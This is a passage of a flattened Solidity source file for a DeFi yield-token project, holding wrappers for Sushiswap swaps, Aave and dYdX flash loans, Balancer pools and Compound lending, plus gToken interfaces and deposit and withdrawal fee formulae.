return Router02(_router).getAmountsOut(_inputAmount, _path)[_path.length - 1];
}
function _calcConversionInputFromOutput(address _from, address _to, uint256 _outputAmount) internal view returns (uint256 _inputAmount)
{
address _router = $.Sushiswap_ROUTER02;
address _WETH = Router02(_router).WETH();
address[] memory _path = _buildPath(_from, _WETH, _to);
return Router02(_router).getAmountsIn(_outputAmount, _path)[0];
}
function _convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) internal returns (uint256 _outputAmount)
{
address _router = $.Sushiswap_ROUTER02;
address _WETH = Router02(_router).WETH();
address[] memory _path = _buildPath(_from, _WETH, _to);
Transfers._approveFunds(_from, _router, _inputAmount);
return Router02(_router).swapExactTokensForTokens(_inputAmount, _minOutputAmount, _path, address(this), uint256(-1))[_path.length - 1];
}
function _buildPath(address _from, address _WETH, address _to) internal pure returns (address[] memory _path)
{
if (_from == _WETH || _to == _WETH) {
_path = new address[](2);
_path[0] = _from;
_path[1] = _to;
return _path;
} else {
_path = new address[](3);
_path[0] = _from;
_path[1] = _WETH;
_path[2] = _to;
return _path;
}
}
}
// File: contracts/GExchange.sol
pragma solidity ^0.6.0;
/**
* @dev Custom and uniform interface to a decentralized exchange. It is used
* to estimate and convert funds whenever necessary. This furnishes
* client contracts with the flexibility to replace conversion strategy
* and routing, dynamically, by delegating these operations to different
* external contracts that share this common interface. See
* GUniswapV2Exchange.sol for further documentation.
*/
interface GExchange
{
// view functions
function calcConversionOutputFromInput(address _from, address _to, uint256 _inputAmount) external view returns (uint256 _outputAmount);
function calcConversionInputFromOutput(address _from, address _to, uint256 _outputAmount) external view returns (uint256 _inputAmount);
// open functions
function convertFunds(address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) external returns (uint256 _outputAmount);
}
// File: contracts/modules/Conversions.sol
pragma solidity ^0.6.0;
library Conversions
{
function _dynamicConvertFunds(address _exchange, address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) internal returns (uint256 _outputAmount)
{
Transfers._approveFunds(_from, _exchange, _inputAmount);
try GExchange(_exchange).convertFunds(_from, _to, _inputAmount, _minOutputAmount) returns (uint256 _outAmount) {
return _outAmount;
} catch (bytes memory /* _data */) {
Transfers._approveFunds(_from, _exchange, 0);
return 0;
}
}
}
// File: contracts/modules/AaveFlashLoanAbstraction.sol
pragma solidity ^0.6.0;
library AaveFlashLoanAbstraction
{
using SafeMath for uint256;
uint256 constant FLASH_LOAN_FEE_RATIO = 9e14; // 0.09%
function _estimateFlashLoanFee(address /* _token */, uint256 _netAmount) internal pure returns (uint256 _feeAmount)
{
return _netAmount.mul(FLASH_LOAN_FEE_RATIO).div(1e18);
}
function _getFlashLoanLiquidity(address _token) internal view returns (uint256 _liquidityAmount)
{
address _pool = $.Aave_AAVE_LENDING_POOL;
// this is the code in solidity, but does not compile
// try LendingPool(_pool).getReserveData(_token) returns (uint256 _totalLiquidity, uint256 _availableLiquidity, uint256 _totalBorrowsStable, uint256 _totalBorrowsVariable, uint256 _liquidityRate, uint256 _variableBorrowRate, uint256 _stableBorrowRate, uint256 _averageStableBorrowRate, uint256 _utilizationRate, uint256 _liquidityIndex, uint256 _variableBorrowIndex, address _aTokenAddress, uint40 _lastUpdateTimestamp) {
// return _availableLiquidity;
// } catch (bytes memory /* _data */) {
// return 0;
// }
// we use EVM assembly instead
bytes memory _data = abi.encodeWithSignature("getReserveData(address)", _token);
uint256[2] memory _result;
assembly {
let _success := staticcall(gas(), _pool, add(_data, 32), mload(_data), _result, 64)
if iszero(_success) {
mstore(add(_result, 32), 0)
}
}
return _result[1];
}
function _requestFlashLoan(address _token, uint256 _netAmount, bytes memory _context) internal returns (bool _success)
{
address _pool = $.Aave_AAVE_LENDING_POOL;
try LendingPool(_pool).flashLoan(address(this), _token, _netAmount, _context) {
return true;
} catch (bytes memory /* _data */) {
return false;
}
}
function _paybackFlashLoan(address _token, uint256 _grossAmount) internal
{
address _poolCore = $.Aave_AAVE_LENDING_POOL_CORE;
Transfers._pushFunds(_token, _poolCore, _grossAmount);
}
}
// File: contracts/modules/DydxFlashLoanAbstraction.sol
pragma solidity ^0.6.0;
library DydxFlashLoanAbstraction
{
using SafeMath for uint256;
function _estimateFlashLoanFee(address /* _token */, uint256 /* _netAmount */) internal pure returns (uint256 _feeAmount)
{
return 2;
}
function _getFlashLoanLiquidity(address _token) internal view returns (uint256 _liquidityAmount)
{
address _solo = $.Dydx_SOLO_MARGIN;
return IERC20(_token).balanceOf(_solo);
}
function _requestFlashLoan(address _token, uint256 _netAmount, bytes memory _context) internal returns (bool _success)
{
address _solo = $.Dydx_SOLO_MARGIN;
uint256 _feeAmount = 2;
uint256 _grossAmount = _netAmount.add(_feeAmount);
uint256 _marketId = uint256(-1);
uint256 _numMarkets = SoloMargin(_solo).getNumMarkets();
for (uint256 _i = 0; _i < _numMarkets; _i++) {
address _address = SoloMargin(_solo).getMarketTokenAddress(_i);
if (_address == _token) {
_marketId = _i;
break;
}
}
if (_marketId == uint256(-1)) return false;
Account.Info[] memory _accounts = new Account.Info[](1);
_accounts[0] = Account.Info({ owner: address(this), number: 1 });
Actions.ActionArgs[] memory _actions = new Actions.ActionArgs[](3);
_actions[0] = Actions.ActionArgs({
actionType: Actions.ActionType.Withdraw,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: _netAmount
}),
primaryMarketId: _marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
_actions[1] = Actions.ActionArgs({
actionType: Actions.ActionType.Call,
accountId: 0,
amount: Types.AssetAmount({
sign: false,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: 0
}),
primaryMarketId: 0,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: abi.encode(_token, _netAmount, _feeAmount, _context)
});
_actions[2] = Actions.ActionArgs({
actionType: Actions.ActionType.Deposit,
accountId: 0,
amount: Types.AssetAmount({
sign: true,
denomination: Types.AssetDenomination.Wei,
ref: Types.AssetReference.Delta,
value: _grossAmount
}),
primaryMarketId: _marketId,
secondaryMarketId: 0,
otherAddress: address(this),
otherAccountId: 0,
data: ""
});
try SoloMargin(_solo).operate(_accounts, _actions) {
return true;
} catch (bytes memory /* _data */) {
return false;
}
}
function _paybackFlashLoan(address _token, uint256 _grossAmount) internal
{
address _solo = $.Dydx_SOLO_MARGIN;
Transfers._approveFunds(_token, _solo, _grossAmount);
}
}
// File: contracts/modules/FlashLoans.sol
pragma solidity ^0.6.0;
library FlashLoans
{
enum Provider { Aave, Dydx }
function _estimateFlashLoanFee(Provider _provider, address _token, uint256 _netAmount) internal pure returns (uint256 _feeAmount)
{
if (_provider == Provider.Aave) return AaveFlashLoanAbstraction._estimateFlashLoanFee(_token, _netAmount);
if (_provider == Provider.Dydx) return DydxFlashLoanAbstraction._estimateFlashLoanFee(_token, _netAmount);
}
function _getFlashLoanLiquidity(address _token) internal view returns (uint256 _liquidityAmount)
{
uint256 _liquidityAmountDydx = DydxFlashLoanAbstraction._getFlashLoanLiquidity(_token);
uint256 _liquidityAmountAave = AaveFlashLoanAbstraction._getFlashLoanLiquidity(_token);
return Math._max(_liquidityAmountDydx, _liquidityAmountAave);
}
function _requestFlashLoan(address _token, uint256 _netAmount, bytes memory _context) internal returns (bool _success)
{
_success = DydxFlashLoanAbstraction._requestFlashLoan(_token, _netAmount, _context);
if (_success) return true;
_success = AaveFlashLoanAbstraction._requestFlashLoan(_token, _netAmount, _context);
if (_success) return true;
return false;
}
function _paybackFlashLoan(Provider _provider, address _token, uint256 _grossAmount) internal
{
if (_provider == Provider.Aave) return AaveFlashLoanAbstraction._paybackFlashLoan(_token, _grossAmount);
if (_provider == Provider.Dydx) return DydxFlashLoanAbstraction._paybackFlashLoan(_token, _grossAmount);
}
}
// File: contracts/modules/BalancerLiquidityPoolAbstraction.sol
pragma solidity ^0.6.0;
library BalancerLiquidityPoolAbstraction
{
using SafeMath for uint256;
uint256 constant MIN_AMOUNT = 1e6;
uint256 constant TOKEN0_WEIGHT = 25e18; // 25/50 = 50%
uint256 constant TOKEN1_WEIGHT = 25e18; // 25/50 = 50%
uint256 constant SWAP_FEE = 10e16; // 10%
function _createPool(address _token0, uint256 _amount0, address _token1, uint256 _amount1) internal returns (address _pool)
{
require(_amount0 >= MIN_AMOUNT && _amount1 >= MIN_AMOUNT, "amount below the minimum");
_pool = BFactory($.Balancer_FACTORY).newBPool();
Transfers._approveFunds(_token0, _pool, _amount0);
Transfers._approveFunds(_token1, _pool, _amount1);
BPool(_pool).bind(_token0, _amount0, TOKEN0_WEIGHT);
BPool(_pool).bind(_token1, _amount1, TOKEN1_WEIGHT);
BPool(_pool).setSwapFee(SWAP_FEE);
BPool(_pool).finalize();
return _pool;
}
function _joinPool(address _pool, address _token, uint256 _maxAmount) internal returns (uint256 _amount)
{
uint256 _balanceAmount = BPool(_pool).getBalance(_token);
if (_balanceAmount == 0) return 0;
uint256 _limitAmount = _balanceAmount.div(2);
_amount = Math._min(_maxAmount, _limitAmount);
Transfers._approveFunds(_token, _pool, _amount);
BPool(_pool).joinswapExternAmountIn(_token, _amount, 0);
return _amount;
}
function _exitPool(address _pool, uint256 _percent) internal returns (uint256 _amount0, uint256 _amount1)
{
if (_percent == 0) return (0, 0);
address[] memory _tokens = BPool(_pool).getFinalTokens();
_amount0 = Transfers._getBalance(_tokens[0]);
_amount1 = Transfers._getBalance(_tokens[1]);
uint256 _poolAmount = Transfers._getBalance(_pool);
uint256 _poolExitAmount = _poolAmount.mul(_percent).div(1e18);
uint256[] memory _minAmountsOut = new uint256[](2);
_minAmountsOut[0] = 0;
_minAmountsOut[1] = 0;
BPool(_pool).exitPool(_poolExitAmount, _minAmountsOut);
_amount0 = Transfers._getBalance(_tokens[0]).sub(_amount0);
_amount1 = Transfers._getBalance(_tokens[1]).sub(_amount1);
return (_amount0, _amount1);
}
}
// File: contracts/modules/CompoundLendingMarketAbstraction.sol
pragma solidity ^0.6.0;
library CompoundLendingMarketAbstraction
{
using SafeMath for uint256;
function _getUnderlyingToken(address _ctoken) internal view returns (address _token)
{
if (_ctoken == $.cETH) return $.WETH;
return CToken(_ctoken).underlying();
}
function _getCollateralRatio(address _ctoken) internal view returns (uint256 _collateralFactor)
{
address _comptroller = $.Compound_COMPTROLLER;
(, _collateralFactor) = Comptroller(_comptroller).markets(_ctoken);
return _collateralFactor;
}
function _getMarketAmount(address _ctoken) internal view returns (uint256 _marketAmount)
{
return CToken(_ctoken).getCash();
}
function _getLiquidityAmount(address _ctoken) internal view returns (uint256 _liquidityAmount)
{
address _comptroller = $.Compound_COMPTROLLER;
(uint256 _result, uint256 _liquidity, uint256 _shortfall) = Comptroller(_comptroller).getAccountLiquidity(address(this));
if (_result != 0) return 0;
if (_shortfall > 0) return 0;
address _priceOracle = Comptroller(_comptroller).oracle();
uint256 _price = PriceOracle(_priceOracle).getUnderlyingPrice(_ctoken);
return _liquidity.mul(1e18).div(_price);
}
function _getAvailableAmount(address _ctoken, uint256 _marginAmount) internal view returns (uint256 _availableAmount)
{
uint256 _liquidityAmount = _getLiquidityAmount(_ctoken);
if (_liquidityAmount <= _marginAmount) return 0;
return Math._min(_liquidityAmount.sub(_marginAmount), _getMarketAmount(_ctoken));
}
function _getExchangeRate(address _ctoken) internal view returns (uint256 _exchangeRate)
{
return CToken(_ctoken).exchangeRateStored();
}
function _fetchExchangeRate(address _ctoken) internal returns (uint256 _exchangeRate)
{
return CToken(_ctoken).exchangeRateCurrent();
}
function _getLendAmount(address _ctoken) internal view returns (uint256 _amount)
{
return CToken(_ctoken).balanceOf(address(this)).mul(_getExchangeRate(_ctoken)).div(1e18);
}
function _fetchLendAmount(address _ctoken) internal returns (uint256 _amount)
{
return CToken(_ctoken).balanceOfUnderlying(address(this));
}
function _getBorrowAmount(address _ctoken) internal view returns (uint256 _amount)
{
return CToken(_ctoken).borrowBalanceStored(address(this));
}
function _fetchBorrowAmount(address _ctoken) internal returns (uint256 _amount)
{
return CToken(_ctoken).borrowBalanceCurrent(address(this));
}
function _enter(address _ctoken) internal returns (bool _success)
{
address _comptroller = $.Compound_COMPTROLLER;
address[] memory _ctokens = new address[](1);
_ctokens[0] = _ctoken;
try Comptroller(_comptroller).enterMarkets(_ctokens) returns (uint256[] memory _errorCodes) {
return _errorCodes[0] == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
function _lend(address _ctoken, uint256 _amount) internal returns (bool _success)
{
if (_ctoken == $.cETH) {
if (!Wrapping._unwrap(_amount)) return false;
try CToken(_ctoken).mint{value: _amount}() {
return true;
} catch (bytes memory /* _data */) {
assert(Wrapping._wrap(_amount));
return false;
}
} else {
address _token = _getUnderlyingToken(_ctoken);
Transfers._approveFunds(_token, _ctoken, _amount);
try CToken(_ctoken).mint(_amount) returns (uint256 _errorCode) {
return _errorCode == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
}
function _redeem(address _ctoken, uint256 _amount) internal returns (bool _success)
{
if (_ctoken == $.cETH) {
try CToken(_ctoken).redeemUnderlying(_amount) returns (uint256 _errorCode) {
if (_errorCode == 0) {
assert(Wrapping._wrap(_amount));
return true;
} else {
return false;
}
} catch (bytes memory /* _data */) {
return false;
}
} else {
try CToken(_ctoken).redeemUnderlying(_amount) returns (uint256 _errorCode) {
return _errorCode == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
}
function _borrow(address _ctoken, uint256 _amount) internal returns (bool _success)
{
if (_ctoken == $.cETH) {
try CToken(_ctoken).borrow(_amount) returns (uint256 _errorCode) {
if (_errorCode == 0) {
assert(Wrapping._wrap(_amount));
return true;
} else {
return false;
}
} catch (bytes memory /* _data */) {
return false;
}
} else {
try CToken(_ctoken).borrow(_amount) returns (uint256 _errorCode) {
return _errorCode == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
}
function _repay(address _ctoken, uint256 _amount) internal returns (bool _success)
{
if (_ctoken == $.cETH) {
if (!Wrapping._unwrap(_amount)) return false;
try CToken(_ctoken).repayBorrow{value: _amount}() {
return true;
} catch (bytes memory /* _data */) {
assert(Wrapping._wrap(_amount));
return false;
}
} else {
address _token = _getUnderlyingToken(_ctoken);
Transfers._approveFunds(_token, _ctoken, _amount);
try CToken(_ctoken).repayBorrow(_amount) returns (uint256 _errorCode) {
return _errorCode == 0;
} catch (bytes memory /* _data */) {
return false;
}
}
}
function _safeEnter(address _ctoken) internal
{
require(_enter(_ctoken), "enter failed");
}
function _safeLend(address _ctoken, uint256 _amount) internal
{
require(_lend(_ctoken, _amount), "lend failure");
}
function _safeRedeem(address _ctoken, uint256 _amount) internal
{
require(_redeem(_ctoken, _amount), "redeem failure");
}
function _safeBorrow(address _ctoken, uint256 _amount) internal
{
require(_borrow(_ctoken, _amount), "borrow failure");
}
function _safeRepay(address _ctoken, uint256 _amount) internal
{
require(_repay(_ctoken, _amount), "repay failure");
}
}
// File: contracts/G.sol
pragma solidity ^0.6.0;
/**
* @dev This public library provides a single entrypoint to all the relevant
* internal libraries available in the modules folder. It exists to
* circunvent the contract size limitation imposed by the EVM. All function
* calls are directly delegated to the target library function preserving
* argument and return values exactly as they are. Thit library is shared
* by all contracts and even other public libraries from this repository,
* therefore it needs to be published alongside them.
*/
library G
{
function min(uint256 _amount1, uint256 _amount2) public pure returns (uint256 _minAmount) { return Math._min(_amount1, _amount2); }
function safeWrap(uint256 _amount) public { Wrapping._safeWrap(_amount); }
function safeUnwrap(uint256 _amount) public { Wrapping._safeUnwrap(_amount); }
function getBalance(address _token) public view returns (uint256 _balance) { return Transfers._getBalance(_token); }
function pullFunds(address _token, address _from, uint256 _amount) public { Transfers._pullFunds(_token, _from, _amount); }
function pushFunds(address _token, address _to, uint256 _amount) public { Transfers._pushFunds(_token, _to, _amount); }
function approveFunds(address _token, address _to, uint256 _amount) public { Transfers._approveFunds(_token, _to, _amount); }
function dynamicConvertFunds(address _exchange, address _from, address _to, uint256 _inputAmount, uint256 _minOutputAmount) public returns (uint256 _outputAmount) { return Conversions._dynamicConvertFunds(_exchange, _from, _to, _inputAmount, _minOutputAmount); }
function getFlashLoanLiquidity(address _token) public view returns (uint256 _liquidityAmount) { return FlashLoans._getFlashLoanLiquidity(_token); }
function requestFlashLoan(address _token, uint256 _amount, bytes memory _context) public returns (bool _success) { return FlashLoans._requestFlashLoan(_token, _amount, _context); }
function paybackFlashLoan(FlashLoans.Provider _provider, address _token, uint256 _grossAmount) public { FlashLoans._paybackFlashLoan(_provider, _token, _grossAmount); }
function createPool(address _token0, uint256 _amount0, address _token1, uint256 _amount1) public returns (address _pool) { return BalancerLiquidityPoolAbstraction._createPool(_token0, _amount0, _token1, _amount1); }
function joinPool(address _pool, address _token, uint256 _maxAmount) public returns (uint256 _amount) { return BalancerLiquidityPoolAbstraction._joinPool(_pool, _token, _maxAmount); }
function exitPool(address _pool, uint256 _percent) public returns (uint256 _amount0, uint256 _amount1) { return BalancerLiquidityPoolAbstraction._exitPool(_pool, _percent); }
function getUnderlyingToken(address _ctoken) public view returns (address _token) { return CompoundLendingMarketAbstraction._getUnderlyingToken(_ctoken); }
function getCollateralRatio(address _ctoken) public view returns (uint256 _collateralFactor) { return CompoundLendingMarketAbstraction._getCollateralRatio(_ctoken); }
function getLiquidityAmount(address _ctoken) public view returns (uint256 _liquidityAmount) { return CompoundLendingMarketAbstraction._getLiquidityAmount(_ctoken); }
function getExchangeRate(address _ctoken) public view returns (uint256 _exchangeRate) { return CompoundLendingMarketAbstraction._getExchangeRate(_ctoken); }
function fetchExchangeRate(address _ctoken) public returns (uint256 _exchangeRate) { return CompoundLendingMarketAbstraction._fetchExchangeRate(_ctoken); }
function getLendAmount(address _ctoken) public view returns (uint256 _amount) { return CompoundLendingMarketAbstraction._getLendAmount(_ctoken); }
function fetchLendAmount(address _ctoken) public returns (uint256 _amount) { return CompoundLendingMarketAbstraction._fetchLendAmount(_ctoken); }
function getBorrowAmount(address _ctoken) public view returns (uint256 _amount) { return CompoundLendingMarketAbstraction._getBorrowAmount(_ctoken); }
function fetchBorrowAmount(address _ctoken) public returns (uint256 _amount) { return CompoundLendingMarketAbstraction._fetchBorrowAmount(_ctoken); }
function lend(address _ctoken, uint256 _amount) public returns (bool _success) { return CompoundLendingMarketAbstraction._lend(_ctoken, _amount); }
function redeem(address _ctoken, uint256 _amount) public returns (bool _success) { return CompoundLendingMarketAbstraction._redeem(_ctoken, _amount); }
function borrow(address _ctoken, uint256 _amount) public returns (bool _success) { return CompoundLendingMarketAbstraction._borrow(_ctoken, _amount); }
function repay(address _ctoken, uint256 _amount) public returns (bool _success) { return CompoundLendingMarketAbstraction._repay(_ctoken, _amount); }
function safeLend(address _ctoken, uint256 _amount) public { CompoundLendingMarketAbstraction._safeLend(_ctoken, _amount); }
function safeRedeem(address _ctoken, uint256 _amount) public { CompoundLendingMarketAbstraction._safeRedeem(_ctoken, _amount); }
}
// File: contracts/GToken.sol
pragma solidity ^0.6.0;
/**
* @dev Complete top-level interface for gTokens, implemented by the
* GTokenBase contract. See GTokenBase.sol for further documentation.
*/
interface GToken is IERC20
{
// pure functions
function calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) external pure returns (uint256 _netShares, uint256 _feeShares);
function calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) external pure returns (uint256 _cost, uint256 _feeShares);
function calcWithdrawalSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) external pure returns (uint256 _grossShares, uint256 _feeShares);
function calcWithdrawalCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) external pure returns (uint256 _cost, uint256 _feeShares);
// view functions
function stakesToken() external view returns (address _stakesToken);
function reserveToken() external view returns (address _reserveToken);
function totalReserve() external view returns (uint256 _totalReserve);
function depositFee() external view returns (uint256 _depositFee);
function withdrawalFee() external view returns (uint256 _withdrawalFee);
function liquidityPool() external view returns (address _liquidityPool);
function liquidityPoolBurningRate() external view returns (uint256 _burningRate);
function liquidityPoolLastBurningTime() external view returns (uint256 _lastBurningTime);
function liquidityPoolMigrationRecipient() external view returns (address _migrationRecipient);
function liquidityPoolMigrationUnlockTime() external view returns (uint256 _migrationUnlockTime);
// open functions
function deposit(uint256 _cost) external;
function withdraw(uint256 _grossShares) external;
// priviledged functions
function allocateLiquidityPool(uint256 _stakesAmount, uint256 _sharesAmount) external;
function setLiquidityPoolBurningRate(uint256 _burningRate) external;
function burnLiquidityPoolPortion() external;
function initiateLiquidityPoolMigration(address _migrationRecipient) external;
function cancelLiquidityPoolMigration() external;
function completeLiquidityPoolMigration() external;
// emitted events
event BurnLiquidityPoolPortion(uint256 _stakesAmount, uint256 _sharesAmount);
event InitiateLiquidityPoolMigration(address indexed _migrationRecipient);
event CancelLiquidityPoolMigration(address indexed _migrationRecipient);
event CompleteLiquidityPoolMigration(address indexed _migrationRecipient, uint256 _stakesAmount, uint256 _sharesAmount);
}
// File: contracts/GCToken.sol
pragma solidity ^0.6.0;
/**
* @dev Complete top-level interface for gcTokens, implemented by the
* GCTokenBase contract. See GCTokenBase.sol for further documentation.
*/
interface GCToken is GToken
{
// pure functions
function calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) external pure returns (uint256 _cost);
function calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost);
function calcDepositSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) external pure returns (uint256 _netShares, uint256 _feeShares);
function calcDepositUnderlyingCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost, uint256 _feeShares);
function calcWithdrawalSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) external pure returns (uint256 _grossShares, uint256 _feeShares);
function calcWithdrawalUnderlyingCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) external pure returns (uint256 _underlyingCost, uint256 _feeShares);
// view functions
function miningToken() external view returns (address _miningToken);
function growthToken() external view returns (address _growthToken);
function underlyingToken() external view returns (address _underlyingToken);
function exchangeRate() external view returns (uint256 _exchangeRate);
function totalReserveUnderlying() external view returns (uint256 _totalReserveUnderlying);
function lendingReserveUnderlying() external view returns (uint256 _lendingReserveUnderlying);
function borrowingReserveUnderlying() external view returns (uint256 _borrowingReserveUnderlying);
function exchange() external view returns (address _exchange);
function miningGulpRange() external view returns (uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount);
function growthGulpRange() external view returns (uint256 _growthMinGulpAmount, uint256 _growthMaxGulpAmount);
function collateralizationRatio() external view returns (uint256 _collateralizationRatio, uint256 _collateralizationMargin);
// open functions
function depositUnderlying(uint256 _underlyingCost) external;
function withdrawUnderlying(uint256 _grossShares) external;
// priviledged functions
function setExchange(address _exchange) external;
function setMiningGulpRange(uint256 _miningMinGulpAmount, uint256 _miningMaxGulpAmount) external;
function setGrowthGulpRange(uint256 _growthMinGulpAmount, uint256 _growthMaxGulpAmount) external;
function setCollateralizationRatio(uint256 _collateralizationRatio, uint256 _collateralizationMargin) external;
}
// File: contracts/GFormulae.sol
pragma solidity ^0.6.0;
/**
* @dev Pure implementation of deposit/minting and withdrawal/burning formulas
* for gTokens.
* All operations assume that, if total supply is 0, then the total
* reserve is also 0, and vice-versa.
* Fees are calculated percentually based on the gross amount.
* See GTokenBase.sol for further documentation.
*/
library GFormulae
{
using SafeMath for uint256;
/* deposit(cost):
* price = reserve / supply
* gross = cost / price
* net = gross * 0.99 # fee is assumed to be 1% for simplicity
* fee = gross - net
* return net, fee
*/
function _calcDepositSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) internal pure returns (uint256 _netShares, uint256 _feeShares)
{
uint256 _grossShares = _totalSupply == _totalReserve ? _cost : _cost.mul(_totalSupply).div(_totalReserve);
_netShares = _grossShares.mul(uint256(1e18).sub(_depositFee)).div(1e18);
_feeShares = _grossShares.sub(_netShares);
return (_netShares, _feeShares);
}
/* deposit_reverse(net):
* price = reserve / supply
* gross = net / 0.99 # fee is assumed to be 1% for simplicity
* cost = gross * price
* fee = gross - net
* return cost, fee
*/
function _calcDepositCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee) internal pure returns (uint256 _cost, uint256 _feeShares)
{
uint256 _grossShares = _netShares.mul(1e18).div(uint256(1e18).sub(_depositFee));
_cost = _totalReserve == _totalSupply ? _grossShares : _grossShares.mul(_totalReserve).div(_totalSupply);
_feeShares = _grossShares.sub(_netShares);
return (_cost, _feeShares);
}
/* withdrawal_reverse(cost):
* price = reserve / supply
* net = cost / price
* gross = net / 0.99 # fee is assumed to be 1% for simplicity
* fee = gross - net
* return gross, fee
*/
function _calcWithdrawalSharesFromCost(uint256 _cost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) internal pure returns (uint256 _grossShares, uint256 _feeShares)
{
uint256 _netShares = _cost == _totalReserve ? _totalSupply : _cost.mul(_totalSupply).div(_totalReserve);
_grossShares = _netShares.mul(1e18).div(uint256(1e18).sub(_withdrawalFee));
_feeShares = _grossShares.sub(_netShares);
return (_grossShares, _feeShares);
}
/* withdrawal(gross):
* price = reserve / supply
* net = gross * 0.99 # fee is assumed to be 1% for simplicity
* cost = net * price
* fee = gross - net
* return cost, fee
*/
function _calcWithdrawalCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee) internal pure returns (uint256 _cost, uint256 _feeShares)
{
uint256 _netShares = _grossShares.mul(uint256(1e18).sub(_withdrawalFee)).div(1e18);
_cost = _netShares == _totalSupply ? _totalReserve : _netShares.mul(_totalReserve).div(_totalSupply);
_feeShares = _grossShares.sub(_netShares);
return (_cost, _feeShares);
}
}
// File: contracts/GCFormulae.sol
pragma solidity ^0.6.0;
/**
* @dev Pure implementation of deposit/minting and withdrawal/burning formulas
* for gTokens calculated based on the cToken underlying asset
* (e.g. DAI for cDAI). See GFormulae.sol and GCTokenBase.sol for further
* documentation.
*/
library GCFormulae
{
using SafeMath for uint256;
/**
* @dev Simple token to cToken formula from Compound
*/
function _calcCostFromUnderlyingCost(uint256 _underlyingCost, uint256 _exchangeRate) internal pure returns (uint256 _cost)
{
return _underlyingCost.mul(1e18).div(_exchangeRate);
}
/**
* @dev Simple cToken to token formula from Compound
*/
function _calcUnderlyingCostFromCost(uint256 _cost, uint256 _exchangeRate) internal pure returns (uint256 _underlyingCost)
{
return _cost.mul(_exchangeRate).div(1e18);
}
/**
* @dev Composition of the gToken deposit formula with the Compound
* conversion formula to obtain the gcToken deposit formula in
* terms of the cToken underlying asset.
*/
function _calcDepositSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) internal pure returns (uint256 _netShares, uint256 _feeShares)
{
uint256 _cost = _calcCostFromUnderlyingCost(_underlyingCost, _exchangeRate);
return GFormulae._calcDepositSharesFromCost(_cost, _totalReserve, _totalSupply, _depositFee);
}
/**
* @dev Composition of the gToken reserve deposit formula with the
* Compound conversion formula to obtain the gcToken reverse
* deposit formula in terms of the cToken underlying asset.
*/
function _calcDepositUnderlyingCostFromShares(uint256 _netShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _depositFee, uint256 _exchangeRate) internal pure returns (uint256 _underlyingCost, uint256 _feeShares)
{
uint256 _cost;
(_cost, _feeShares) = GFormulae._calcDepositCostFromShares(_netShares, _totalReserve, _totalSupply, _depositFee);
return (_calcUnderlyingCostFromCost(_cost, _exchangeRate), _feeShares);
}
/**
* @dev Composition of the gToken reserve withdrawal formula with the
* Compound conversion formula to obtain the gcToken reverse
* withdrawal formula in terms of the cToken underlying asset.
*/
function _calcWithdrawalSharesFromUnderlyingCost(uint256 _underlyingCost, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) internal pure returns (uint256 _grossShares, uint256 _feeShares)
{
uint256 _cost = _calcCostFromUnderlyingCost(_underlyingCost, _exchangeRate);
return GFormulae._calcWithdrawalSharesFromCost(_cost, _totalReserve, _totalSupply, _withdrawalFee);
}
/**
* @dev Composition of the gToken withdrawal formula with the Compound
* conversion formula to obtain the gcToken withdrawal formula in
* terms of the cToken underlying asset.
*/
function _calcWithdrawalUnderlyingCostFromShares(uint256 _grossShares, uint256 _totalReserve, uint256 _totalSupply, uint256 _withdrawalFee, uint256 _exchangeRate) internal pure returns (uint256 _underlyingCost, uint256 _feeShares)
{
uint256 _cost;
(_cost, _feeShares) = GFormulae._calcWithdrawalCostFromShares(_grossShares, _totalReserve, _totalSupply, _withdrawalFee);
return (_calcUnderlyingCostFromCost(_cost, _exchangeRate), _feeShares);
}
}
// File: contracts/GLiquidityPoolManager.sol
pragma solidity ^0.6.0;
/**
* @dev This library implements data structure abstraction for the liquidity
* pool management code in order to circuvent the EVM contract size limit.
* It is therefore a public library shared by all gToken contracts and
* needs to be published alongside them. See GTokenBase.sol for further
* documentation.
*/
library GLiquidityPoolManager
{
using GLiquidityPoolManager for GLiquidityPoolManager.Self;
uint256 constant MAXIMUM_BURNING_RATE = 2e16; // 2%
uint256 constant DEFAULT_BURNING_RATE = 5e15; // 0.5%
uint256 constant BURNING_INTERVAL = 7 days;
